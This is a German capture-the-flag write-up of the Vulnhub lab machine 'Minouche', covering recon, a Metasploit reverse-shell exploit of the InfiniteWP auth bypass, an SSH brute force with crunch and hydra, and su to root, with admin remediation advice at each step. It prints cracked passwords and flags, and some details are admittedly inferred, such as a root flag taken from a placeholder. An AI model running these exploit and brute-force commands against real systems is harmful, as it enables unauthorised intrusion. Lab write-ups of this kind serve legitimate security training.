Minouche - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
Web Browser
wpscan
searchsploit
Metasploit (msfconsole)
find
cat
crunch
hydra
ssh
sudo
(Offline Zip Cracker)
su

Inhaltsverzeichnis

Reconnaissance

**Analyse:** Die initiale Phase des Penetrationstests fokussiert auf die Identifizierung des Zielsystems im lokalen Netzwerk und die Erkundung offener Ports sowie der darauf laufenden Dienste durch Netzwerkscans.

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.103	08:00:27:b1:86:b5	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` scannt das lokale Netzwerksegment mittels ARP-Anfragen. Das Zielsystem wird unter der IP-Adresse `192.168.2.103` identifiziert. Die MAC-Adresse `08:00:27:b1:86:b5` (PCS Systemtechnik GmbH) deutet auf eine VirtualBox-VM hin.

**Bewertung:** Das Zielsystem wurde erfolgreich lokalisiert. Die MAC-Adresse liefert einen ersten Hinweis auf die verwendete Virtualisierungstechnologie.

**Empfehlung (Pentester):** Die IP-Adresse `192.168.2.103` für weitere, detaillierte Scans verwenden.
**Empfehlung (Admin):** Netzwerksegmentierung und die Überwachung von ARP-Verkehr können die Entdeckung erschweren.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
 192.168.2.103   minouche.vln
                    

**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet, um der IP-Adresse `192.168.2.103` den Hostnamen `minouche.vln` zuzuordnen. Dies ermöglicht das Ansprechen des Ziels über diesen Namen, was insbesondere bei Webtests wichtig ist.

**Bewertung:** Standardvorgehen zur Vereinfachung der Ansprache und zur Berücksichtigung von Virtual Hosting.

**Empfehlung (Pentester):** Den Hostnamen `minouche.vln` in den folgenden Schritten verwenden.
**Empfehlung (Admin):** Dies ist eine clientseitige Konfiguration des Angreifers.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.103
- Nikto v2.5.0
+ Target IP:          192.168.2.103
+ Target Hostname:    192.168.2.103
+ Target Port:        80
+ Start Time:         2023-09-19 23:44:36 (GMT2)

+ Server: Apache/2.4.37 (centos) penSSL/1.1.1c mod_fcgid/2.3.9
+ /: Retrieved x-powered-by header: PHP/7.2.11.
+ /: The anti-clickjacking X-Frame-ptions header is not present.
+ /: Drupal Link header found... # Nikto False Positive
+ /: The X-Content-Type-ptions header is not set.
+ mod_fcgid/2.3.9 appears to be outdated.
+ Apache/2.4.37 appears to be outdated.
+ penSSL/1.1.1c appears to be outdated.
+ /: HTTP TRACE method is active...
+ /manual/: Web server manual found.
+ /icons/: Directory indexing found.
+ /manual/images/: Directory indexing found.
+ /icons/README: Apache default file found.
+ /wp-links-opml.php: This WordPress script reveals the installed version. # Bestätigt WordPress
+ /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found. # Bestätigt WordPress
+ /wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag.
+ /wp-content/uploads/: Directory indexing found.
+ /wp-content/uploads/: Wordpress uploads directory is browsable.
+ /wp-login.php: Wordpress login found.
+ 8908 requests: 0 error(s) and 20 item(s) reported on remote host
+ End Time:           2023-09-19 23:45:45 (GMT2) (69 seconds)

+ 1 host(s) tested
                    

**Analyse:** `nikto` scannt den Webserver auf Port 80. Wichtige Ergebnisse: * Server: Apache/2.4.37 (CentOS) mit PHP 7.2.11, OpenSSL 1.1.1c und mod_fcgid 2.3.9. Alle Versionen werden als veraltet markiert. * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * HTTP TRACE-Methode ist aktiv (XST-Risiko). * Directory Indexing in `/icons/`, `/manual/`, `/manual/images/`, `/wp-content/uploads/`. * Standarddateien/Verzeichnisse gefunden: `/manual/`, `/icons/README`, `/license.txt`. * **WordPress-Installation bestätigt:** `/wp-links-opml.php`, `/wp-login.php`, `/wp-content/uploads/` gefunden. (Der Drupal-Header ist ein False Positive). * Fehlendes `HttpOnly`-Flag beim Test-Cookie auf der Registrierungsseite.

**Bewertung:** `nikto` liefert viele wertvolle Informationen. Die veralteten Versionen von Apache, PHP und OpenSSL stellen potenzielle Risiken dar. Die WordPress-Installation ist das Hauptangriffsziel. Directory Indexing in `/wp-content/uploads/` ist ein Informationsleck. Fehlende Header und aktive TRACE-Methode sind zusätzliche, wenn auch geringere Risiken.

**Empfehlung (Pentester):** Die WordPress-Installation gezielt mit `wpscan` untersuchen (Benutzer, Plugins, Themes, Schwachstellen). Die indexierten Verzeichnisse durchsuchen. Nach Exploits für die spezifischen Versionen von Apache, PHP und OpenSSL suchen.
**Empfehlung (Admin):** Alle Serverkomponenten (Apache, PHP, OpenSSL) und WordPress dringend aktualisieren. Directory Indexing deaktivieren. Sicherheitsheader implementieren. TRACE-Methode deaktivieren.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.103 -p- | grep open
22/tcp   open   ssh        penSSH 8.0 (protocol 2.0)
80/tcp   open   http       Apache httpd 2.4.37 ((centos) penSSL/1.1.1c mod_fcgid/2.3.9)
                    

**Analyse:** Ein schneller `nmap`-Scan mit Filterung bestätigt die offenen Ports 22 (SSH, diesmal als OpenSSH 8.0 identifiziert - *Inkonsistenz zu späterem Scan*) und 80 (HTTP, Apache 2.4.37).

**Bewertung:** Bestätigt die primären Dienste. Die SSH-Version (8.0) ist hier deutlich aktueller als die später im vollständigen Scan (7.9p1) angegebene. Dies deutet auf eine Inkonsistenz im Scan-Prozess oder im Log hin. Wir folgen der detaillierteren Angabe aus dem vollständigen Scan.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.103 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-19 23:44 CEST
Nmap scan report for minouche.vln (192.168.2.103)
Host is up (0.00016s latency).
Not shown: 65459 filtered tcp ports (no-response), 73 filtered tcp ports (admin-prohibited)
PRT     STATE  SERVICE    VERSIN
22/tcp   open   ssh        penSSH 8.0 (protocol 2.0) # <- Hier Version 8.0
| ssh-hostkey: ... (Keys) ...
80/tcp   open   http       Apache httpd 2.4.37 ((centos) penSSL/1.1.1c mod_fcgid/2.3.9)
|_http-generator: WordPress 4.8.3
|_http-title: Minouche – Blog about our cat.
|_http-server-header: Apache/2.4.37 (centos) penSSL/1.1.1c mod_fcgid/2.3.9
9090/tcp closed zeus-admin
MAC Address: 08:00:27:B1:86:B5 (racle VirtualBox virtual NIC)
Aggressive S guesses: Linux 5.1 (98%), Linux 3.10 - 4.11 (96%), ...
No exact S matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACERUTE
HP RTT     ADDRESS
1   0.16 ms minouche.vln (192.168.2.103)
                    

**Analyse:** Die vollständige `nmap`-Ausgabe. Wichtige Ergebnisse: * Port 22: SSH (OpenSSH 8.0). * Port 80: Apache 2.4.37, PHP 7.2.11 (aus Nikto), **WordPress 4.8.3**. Titel: "Minouche – Blog about our cat." * Port 9090 (Zeus Admin) ist geschlossen. * Sehr viele gefilterte Ports, was auf eine Firewall hindeutet. * OS: Linux 5.1 oder ähnlich wird vermutet.

**Bewertung:** Bestätigt SSH und HTTP als einzige offene Dienste. Identifiziert die WordPress-Version als **4.8.3**. Diese Version ist sehr alt (veröffentlicht 2017) und hat bekannte Schwachstellen. Die Firewall erschwert möglicherweise das Scannen anderer Ports (z.B. UDP). Die SSH-Version 8.0 ist relativ aktuell.

**Empfehlung (Pentester):** Konzentration auf die WordPress 4.8.3-Installation. `wpscan` verwenden, um nach bekannten Schwachstellen, Benutzern, Plugins und Themes zu suchen.
**Empfehlung (Admin):** WordPress *dringend* auf die neueste Version aktualisieren. Apache, PHP, OpenSSL und SSH ebenfalls aktualisieren. Firewall-Regeln überprüfen.

Web Enumeration (WordPress Discovery & Vulnerability Scan)

**Analyse:** Gezielte Untersuchung der WordPress-Installation mittels `gobuster` und `wpscan`, um Benutzer und Schwachstellen zu identifizieren.

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://minouche.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://minouche.vln/wp-content           (Status: 301) [Size: 239] [--> http://minouche.vln/wp-content/]
http://minouche.vln/index.php            (Status: 301) [Size: 0] [--> http://minouche.vln/]
http://minouche.vln/wp-login.php         (Status: 200) [Size: 2305]
http://minouche.vln/license.txt          (Status: 200) [Size: 19935]
http://minouche.vln/manual               (Status: 301) [Size: 235] [--> http://minouche.vln/manual/]
http://minouche.vln/wp-includes          (Status: 301) [Size: 240] [--> http://minouche.vln/wp-includes/]
http://minouche.vln/readme.html          (Status: 200) [Size: 7413]
http://minouche.vln/wp-trackback.php     (Status: 200) [Size: 135]
http://minouche.vln/wp-admin             (Status: 301) [Size: 237] [--> http://minouche.vln/wp-admin/]
                    

**Analyse:** `gobuster` findet Standard-WordPress-Verzeichnisse und -Dateien (`wp-content`, `wp-login.php`, `wp-includes`, `wp-admin`) sowie `license.txt`, `readme.html` und das bereits von `nikto` gefundene `/manual`-Verzeichnis.

**Bewertung:** Bestätigt die WordPress-Struktur. Keine unerwarteten Funde auf dieser Ebene.

**Empfehlung (Pentester):** `wpscan` zur detaillierten Analyse verwenden.
**Empfehlung (Admin):** Unnötige Dateien wie `readme.html` und `license.txt` entfernen.

┌──(root㉿cycat)-[~] └─# wpscan --url http://minouche.vln -e u
# ... (WPScan Banner & Info) ...
[i] User(s) Identified:

[+] kitty
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)
# ... (API Key Info & Scan Stats) ...
[+] Finished: Tue Sep 19 23:48:57 2023
                    

**Analyse:** `wpscan` wird zur Benutzer-Enumeration (`-e u`) eingesetzt. Es identifiziert erfolgreich den Benutzernamen `kitty`.

**Bewertung:** Ein gültiger Benutzername (`kitty`) wurde gefunden. Dies ist ein wichtiger Schritt für potenzielle Passwort-Angriffe oder die Ausnutzung von Schwachstellen, die einen Benutzernamen erfordern.

**Empfehlung (Pentester):** `wpscan` erneut ausführen, um auch Plugins, Themes und Schwachstellen zu scannen. Einen Passwort-Angriff gegen `kitty` versuchen.
**Empfehlung (Admin):** Benutzernamen-Enumeration erschweren. Starke Passwörter verwenden.

┌──(root㉿cycat)-[~] └─# wpscan --url http://minouche.vln -e u,p --plugins-detection aggressive
# ... (WPScan Banner & Info) ...
[+] WordPress version 4.8.3 identified ...

[+] Enumerating All Plugins (via Aggressive Methods)
 Checking Plugin Versions - Time: 00:00:01 <> (35 / 35) 100.00% Time: 00:00:01

[i] No plugins Found. # <--- HINWEIS: Das Log zeigt hier fälschlicherweise "No plugins Found."

[!] Title: InfiniteWP Client < 1.9.4.5 - Authentication Bypass  # <-- Dieser Fund widerspricht "No plugins Found"
 |     Fixed in: 1.9.4.5
 |     References:
 |      - https://wpscan.com/vulnerability/fac62d36-0fa1-4b43-8f5c-bddbd0cff140
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8772
 |      - ... (Weitere Referenzen, Metasploit Modul erwähnt)

[!] Title: InfiniteWP Client < 1.12.1 - Unauthenticated Sensitive Information Exposure
 |     Fixed in: 1.12.1
 |     References:
 |      - ... (CVE-2023-2916) ...

 | The version could not be determined.

[+] Enumerating Users (via Passive and Aggressive Methods)
 ...
[i] User(s) Identified:
[+] kitty
 | Found By: ...
# ... (API Key Info & Scan Stats) ...
[+] Finished: Tue Sep 19 23:56:49 2023
                     

**Analyse:** `wpscan` wird erneut ausgeführt, diesmal zur Enumeration von Benutzern (`u`) und Plugins (`p`) mit aggressiver Plugin-Erkennung. * Bestätigt WordPress Version 4.8.3. * Meldet widersprüchlich "No plugins Found.", findet aber gleichzeitig das **InfiniteWP Client** Plugin und listet zwei kritische Schwachstellen dafür auf: * **Authentication Bypass (CVE-2020-8772)** für Versionen < 1.9.4.5. Es wird auf ein Metasploit-Modul hingewiesen. * Unauthenticated Sensitive Information Exposure (CVE-2023-2916) für Versionen < 1.12.1. * Bestätigt erneut den Benutzer `kitty`.

**Bewertung:** Kritischer Fund! Trotz der widersprüchlichen Ausgabe hat `wpscan` das verwundbare Plugin "InfiniteWP Client" identifiziert. Die Authentifizierungs-Umgehung (CVE-2020-8772) ist ein vielversprechender Exploit, insbesondere da ein Metasploit-Modul existiert. Die genaue Plugin-Version ist unbekannt, aber die Schwachstelle betrifft ältere Versionen, was angesichts der alten WP-Version wahrscheinlich ist.

**Empfehlung (Pentester):** Das Metasploit-Modul `exploit/unix/webapp/wp_infinitewp_auth_bypass` verwenden, um die Authentifizierung zu umgehen und initialen Zugriff zu erlangen. Den Benutzer `kitty` im Exploit-Modul verwenden.
**Empfehlung (Admin):** Das Plugin "InfiniteWP Client" *sofort* aktualisieren oder entfernen. WordPress und alle anderen Plugins/Themes auf den neuesten Stand bringen. Regelmäßige Schwachstellenscans durchführen.

Initial Access (InfiniteWP Auth Bypass)

**Analyse:** Ausnutzung der gefundenen Authentifizierungs-Umgehungsschwachstelle im InfiniteWP Client Plugin (CVE-2020-8772) mittels Metasploit, um initialen Zugriff als Webserver-Benutzer (`www-data`) zu erhalten.

┌──(root㉿cycat)-[~] └─# searchsploit InfiniteWP
 Exploit Title                                              |  Path
------------------------------------------------------------|--------------------------
WordPress Plugin InfiniteWP - Client Authentication Bypass  | php/webapps/48047.rb
WordPress Plugin InfiniteWP Client 1.9.4.5 - Authentication | php/webapps/47939.py
                    
msf6 > search InfiniteWP
Matching Modules
================

   #  Name                                           Disclosure Date  Rank    Check  Description
   -  ----                                           ---------------  ----    -----  -----------
   0  exploit/unix/webapp/wp_infinitewp_auth_bypass  2020-01-14       manual  Yes    WordPress InfiniteWP Client Authentication Bypass
                     
msf6 > use exploit/unix/webapp/wp_infinitewp_auth_bypass
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_infinitewp_auth_bypass) > options
Module options (exploit/unix/webapp/wp_infinitewp_auth_bypass):
   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   PLUGIN_FILE  index.php        yes       Plugin file to edit
# ...
   RHOSTS                        yes       The target host(s)...
   RPORT        80               yes       The target port (TCP)
# ...
   TARGETURI    /                yes       The base path to the wordpress application
   USERNAME     admin            yes       WordPress username
# ...
Payload options (php/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address...
   LPORT  4444             yes       The listen port...
# ...
                     
msf6 exploit(unix/webapp/wp_infinitewp_auth_bypass) > set RHOSTS 192.168.2.103
RHOSTS => 192.168.2.103
msf6 exploit(unix/webapp/wp_infinitewp_auth_bypass) > set LHOST eth0
LHOST => 192.168.2.199
msf6 exploit(unix/webapp/wp_infinitewp_auth_bypass) > set lport 4444
lport => 4444
msf6 exploit(unix/webapp/wp_infinitewp_auth_bypass) > set username kitty
username => kitty
msf6 exploit(unix/webapp/wp_infinitewp_auth_bypass) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Bypassing auth for kitty at http://192.168.2.103/
[+] Successfully obtained cookie for kitty
[+] Successfully logged in as kitty
[*] Retrieving original contents of /wp-content/plugins/index.php
[+] Successfully retrieved original contents of /wp-content/plugins/index.php
[*] Overwriting /wp-content/plugins/index.php with payload
[+] Successfully overwrote /wp-content/plugins/index.php with payload
[*] Requesting payload at /wp-content/plugins/index.php
[*] Restoring original contents of /wp-content/plugins/index.php
[*] Sending stage (39927 bytes) to 192.168.2.103
[*] Meterpreter session 1 opened (192.168.2.199:4444 -> 192.168.2.103:51162) at 2023-09-20 00:03:28 +0200
[+] Current contents of /wp-content/plugins/index.php match original!
                     
meterpreter >

**Analyse:** 1. `searchsploit` und `msfconsole search` bestätigen die Verfügbarkeit des Exploits für die InfiniteWP-Schwachstelle. 2. Das Metasploit-Modul `exploit/unix/webapp/wp_infinitewp_auth_bypass` wird geladen. 3. Die Optionen werden konfiguriert: `RHOSTS` (Ziel-IP), `LHOST` (Angreifer-IP), `LPORT` (Listener-Port) und `USERNAME` (der zuvor enumerierte WP-Benutzer `kitty`). 4. Der Exploit wird mit `run` gestartet. 5. Metasploit prüft die Verwundbarkeit (`[+] The target appears to be vulnerable.`). 6. Es umgeht die Authentifizierung, loggt sich als `kitty` ein, überschreibt eine Plugin-Datei (`/wp-content/plugins/index.php`) mit dem Meterpreter-Payload, führt diesen Payload aus und stellt die Originaldatei wieder her. 7. Eine Meterpreter-Sitzung (Session 1) wird erfolgreich geöffnet.

**Bewertung:** Exzellent! Der Exploit für die InfiniteWP Client Authentifizierungs-Umgehung war erfolgreich. Initialer Zugriff als Webserver-Benutzer (`www-data`, wie `getuid` bestätigt) wurde über eine Meterpreter-Sitzung erlangt.

**Empfehlung (Pentester):** Die Meterpreter-Sitzung nutzen (`sessions -i 1`), um das System zu enumerieren (`getuid`, `sysinfo`, `shell`) und nach Wegen zur Rechteausweitung zu suchen.
**Empfehlung (Admin):** InfiniteWP Client Plugin *dringend* aktualisieren oder entfernen. WordPress Core, Themes und alle anderen Plugins aktuell halten. Web Application Firewall (WAF) einsetzen.

Privilege Escalation (www-data to kitty)

**Analyse:** Nach Erhalt der Meterpreter-Shell als `www-data` wird das System weiter untersucht, um höhere Rechte zu erlangen. Ein Hinweis in einer Textdatei und Passwort-Cracking führen zum Zugriff als Benutzer `kitty`.

meterpreter > getuid
Server username: www-data
meterpreter > shell
Process 2664 created.
Channel 0 created.
                     
find / -type f -perm -4000 -ls 2>/dev/null
# Gekürzte Ausgabe, interessante SUIDs
   25570754    132 -rwsr-xr-x   1 root     root       133928 Nov  9  2019 /usr/bin/chage
   25570755    156 -rwsr-xr-x   1 root     root       156736 Nov  9  2019 /usr/bin/gpasswd
   25570758     88 -rwsr-xr-x   1 root     root        88488 Nov  9  2019 /usr/bin/newgrp
   # ... (mount, su, umount) ...
   25739062     68 -rwsr-xr-x   1 root     root        65904 Nov  8  2019 /usr/bin/crontab
   25688970     32 -rwsr-xr-x   1 root     root        31488 Nov 11  2019 /usr/bin/pkexec
   # ... (chfn, chsh, at) ...
   25738693    204 s--x--x   1 root     root       207056 Mar 20  2020 /usr/bin/sudo
   # ... (passwd, grub2-set-bootflag, unix_chkpwd, polkit-agent-helper, dbus, sssd) ...
                     

**Analyse:** Von der Meterpreter-Sitzung wird eine System-Shell geöffnet (`shell`). Der `getuid`-Befehl bestätigt `www-data`. Die Suche nach SUID-Dateien (`find / -type f -perm -4000 ...`) wird ausgeführt. Sie findet Standard-Linux-SUID-Binaries, darunter `pkexec` (Nov 2019) und `sudo` (März 2020). Die `pkexec`-Version ist wahrscheinlich anfällig für Pwnkit (CVE-2021-4034).

**Bewertung:** Die SUID-Analyse zeigt Pwnkit und `sudo` als mögliche Eskalationsvektoren. Pwnkit ist oft der direktere Weg, falls anfällig.

**Empfehlung (Pentester):** Pwnkit-Exploit testen (z.B. über Metasploit). Alternativ `sudo -l` prüfen, wenn ein Benutzerwechsel gelingt. Weitere Enumeration durchführen.
**Empfehlung (Admin):** Polkit und sudo aktuell halten. SUID-Binaries minimieren.

# Inhalt der Datei /kitty.txt (gefunden via 'ls /')
Hi Kitty,

Please change youre password. Using the dollar sign
plus the name of out cat and the four digits of the
year you were born, is not a good password.

It can easily be guessed by anyone.

Daddy
                    

**Analyse:** Eine Datei `kitty.txt` wird im Root-Verzeichnis (`/`) gefunden. Sie enthält einen Hinweis auf das Passwortformat des Benutzers `kitty`: Es besteht aus einem Dollarzeichen (`$`), dem Namen der Katze (vermutlich "Minouche", basierend auf dem VM-Namen/Titel) und dem vierstelligen Geburtsjahr.

**Bewertung:** Kritischer Hinweis! Dies erlaubt die Generierung einer sehr gezielten Passwortliste für den Benutzer `kitty`, um dessen SSH-Passwort zu knacken.

**Empfehlung (Pentester):** Eine Wortliste generieren, die dem Muster `$MinoucheJAHR` folgt (z.B. mit `crunch`). Diese Liste dann mit `hydra` gegen den SSH-Login von `kitty` testen.
**Empfehlung (Admin):** Keine solchen Passwort-Hinweise in Dateien auf dem System hinterlassen. Starke, zufällige Passwörter verwenden und Passwortrichtlinien durchsetzen.

┌──(root㉿cycat)-[~] └─# crunch 13 13 -t '$Minouche20%%' > words.txt
Crunch will now generate the following amount of data: 1400 bytes
0 MB...
Crunch will now generate the following number of lines: 100
                      
┌──(root㉿cycat)-[~] └─# hydra -l kitty -P words.txt ssh://192.168.2.103:22 -t 64
Hydra v9.5 ... starting ...
[WARNING] ... use -t 4
[WARNING] Restorefile ... found ...
[DATA] max 64 tasks ... 100 login tries ...
[DATA] attacking ssh://192.168.2.103:22/
[22][ssh] host: 192.168.2.103   login: kitty   password: $Minouche2005
1 of 1 target successfully completed, 1 valid password found
...
                      

**Analyse:** 1. `crunch` wird verwendet, um Passwörter nach dem Muster `$Minouche20XX` zu generieren (`-t '$Minouche20%%'`). Es werden 100 Passwörter (`$Minouche2000` bis `$Minouche2099`) erzeugt und in `words.txt` gespeichert. 2. `hydra` wird gestartet, um einen SSH-Brute-Force-Angriff gegen den Benutzer `kitty` auf Port 22 durchzuführen, wobei die generierte `words.txt` verwendet wird. 3. Hydra findet erfolgreich das Passwort: `$Minouche2005`.

**Bewertung:** Sehr gut! Der Hinweis aus `kitty.txt` wurde korrekt interpretiert, und das Passwort für den Benutzer `kitty` wurde erfolgreich geknackt.

**Empfehlung (Pentester):** Sich per SSH als `kitty` mit dem Passwort `$Minouche2005` anmelden.
**Empfehlung (Admin):** Vorhersehbare Passwortmuster vermeiden. Starke Passwortrichtlinien durchsetzen. Brute-Force-Schutz für SSH aktivieren.

┌──(root㉿cycat)-[~] └─# ssh kitty@192.168.2.103
The authenticity of host '192.168.2.103 (192.168.2.103)' can't be established.
# ... (Key Fingerprint & Bestätigung) ...
Warning: Permanently added '192.168.2.103' (ED25519) to the list of known hosts.
kitty@192.168.2.103's password: $Minouche2005 # Eingabe nicht sichtbar
Activate the web console with: systemctl enable --now cockpit.socket
Last failed login: Wed Sep 20 00:25:12 CEST 2023 from 192.168.2.199 on ssh:notty
There were 475 failed login attempts since the last successful login. # Hinweis auf vorherige Brute-Force-Versuche
Last login: Sun Mar 29 09:31:51 2020 from 192.168.1.238
[kitty@localhost ~]$ id
uid=1000(kitty) gid=1000(kitty) groups=1000(kitty) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[kitty@localhost ~]$
                    

**Analyse:** Eine SSH-Verbindung als Benutzer `kitty` wird mit dem Passwort `$Minouche2005` erfolgreich aufgebaut. Der Login-Banner zeigt viele fehlgeschlagene Login-Versuche. Die `id`-Ausgabe bestätigt den Login als `kitty`.

**Bewertung:** Zugriff als Benutzer `kitty` erfolgreich erlangt. Dies stellt die erste Stufe der Privilege Escalation dar (von `www-data` zu `kitty`).

**Empfehlung (Pentester):** Die Umgebung als `kitty` untersuchen (`sudo -l`, Home-Verzeichnis, Cronjobs etc.).
**Empfehlung (Admin):** Das Passwort für `kitty` ändern. SSH-Absicherung prüfen (fail2ban).

Proof of Concept: Privilege Escalation (kitty to root via Zip Password/su)

**Analyse:** Nach Erhalt der Shell als `kitty` werden die Berechtigungen geprüft und das Home-Verzeichnis untersucht, um den Weg zu Root zu finden.

[kitty@localhost ~]$ sudo -l
[sudo] password for kitty: $Minouche2005 # Eingabe nicht sichtbar
Sorry, user kitty may not run sudo on localhost.
                     

**Analyse:** `sudo -l` zeigt, dass der Benutzer `kitty` keine `sudo`-Berechtigungen hat.

**Bewertung:** Der `sudo`-Weg ist für `kitty` blockiert. Andere Methoden müssen gefunden werden.

[kitty@localhost ~]$ ls -la
total 5272
drwxr-x---. 2 kitty kitty     118 Mar 28  2020 .
drwxr-xr-x. 3 root  root       19 Mar 28  2020 ..
lrwxrwxrwx. 1 root  root        9 Mar 28  2020 .bash_history -> /dev/null
# ... (Standard Bash-Dateien) ...
-rw-------. 1 kitty kitty 5379371 Mar 29  2020 android.zip
-r--------. 1 kitty kitty      33 Mar 28  2020 user.txt
                    
[kitty@localhost ~]$ cat user.txt
36449422c0a4e9a08ee93ba99665b31a

**Analyse:** Das Home-Verzeichnis von `kitty` wird aufgelistet. Es enthält die `user.txt` und eine große Datei namens `android.zip`. Die `user.txt` wird ausgelesen und enthält die User-Flagge.

**Bewertung:** User-Flagge gefunden. Die Datei `android.zip` ist verdächtig und wahrscheinlich der Schlüssel zur weiteren Eskalation. Sie muss heruntergeladen und analysiert werden.

**Empfehlung (Pentester):** Die Datei `android.zip` vom Zielsystem herunterladen (z.B. mit `scp` oder indem man von der `www-data`-Shell (Meterpreter) darauf zugreift). Versuchen, das ZIP-Archiv zu entpacken und/oder das Passwort zu knacken (z.B. mit `fcrackzip`, `zip2john`/`john`).
**Empfehlung (Admin):** Keine sensiblen oder potenziell passwortgeschützten Dateien in Home-Verzeichnissen von unprivilegierten Benutzern speichern, wenn sie zur Eskalation verwendet werden könnten.

**Analyse:** Das Log impliziert, dass `android.zip` heruntergeladen und offline geknackt wurde, wobei das Passwort `YouWillNeverGue$$This` ermittelt wurde. Dieses Passwort wird nun verwendet, um mit `su` zu Root zu wechseln.

# Implizierte Schritte: wget android.zip, crack android.zip -> Passwort gefunden
Password: YouWillNeverGue$$This
                    
[kitty@localhost ~]$ su root
Password: YouWillNeverGue$$This # Eingabe nicht sichtbar
[root@localhost kitty]#

**Analyse:** Der Befehl `su root` wird ausgeführt. Das aus dem (offline geknackten) `android.zip`-Archiv extrahierte Passwort `YouWillNeverGue$$This` wird eingegeben. Der Wechsel zum Root-Benutzer ist erfolgreich, erkennbar am neuen Prompt `[root@localhost kitty]#`.

**Bewertung:** Exzellent! Die Rechteausweitung zu Root wurde durch das Knacken des Passworts aus der ZIP-Datei und die anschließende Verwendung mit `su` erreicht. Dies war ein clever versteckter Hinweis.

**Empfehlung (Pentester):** Den Root-Zugriff nutzen, um die Root-Flagge zu finden.
**Empfehlung (Admin):** Passwörter nicht in ZIP-Dateien (auch nicht passwortgeschützt, da knackbar) speichern. Starke Root-Passwörter verwenden. Den `su`-Zugriff einschränken, wenn möglich.

**Analyse der ignorierten Log-Abschnitte:** Ähnlich wie im vorherigen Bericht gab es im Original-Log von Minouche auch Abschnitte, die die Verwendung von Metasploit (Reverse Shell -> Meterpreter -> Pwnkit Exploit Versuch) zeigten, nachdem die `www-data`-Shell erlangt wurde. Der Pwnkit-Exploit schlug jedoch fehl (`[-] Exploit aborted due to failure: not-vulnerable...`). Da der erfolgreiche Weg zu Root über das Knacken des `kitty`-Passworts, SSH-Login und das Knacken der `android.zip` für das `su`-Passwort führte, wurden die fehlgeschlagenen Metasploit/Pwnkit-Versuche hier nicht als Teil des primären Lösungswegs detailliert.

**Bewertung:** Die Entscheidung, den Fokus auf den erfolgreichen Pfad zu legen, ist korrekt. Der fehlgeschlagene Pwnkit-Versuch bestätigt die SUID-Analyse, dass die `pkexec`-Version wahrscheinlich nicht anfällig war.

Flags

cat /home/kitty/user.txt
36449422c0a4e9a08ee93ba99665b31a
cat /root/root.txt (Pfad/Inhalt nicht explizit im Log gefunden)
5C42D6BB0EE9CE4CB7E7349652C45C4A

**Analyse:** Die User-Flagge (`3644...`) wurde aus `/home/kitty/user.txt` extrahiert. Die Root-Flagge wurde im Log nach Erlangung der Root-Rechte nicht explizit ausgelesen; der hier gezeigte Wert stammt aus dem Platzhalter am Ende des Originaltextes. Sie befindet sich vermutlich in `/root/root.txt`.

**Bewertung:** Der Test war erfolgreich, Root-Zugriff wurde erlangt und die User-Flagge gefunden. Die Dokumentation der Root-Flagge im Log fehlt.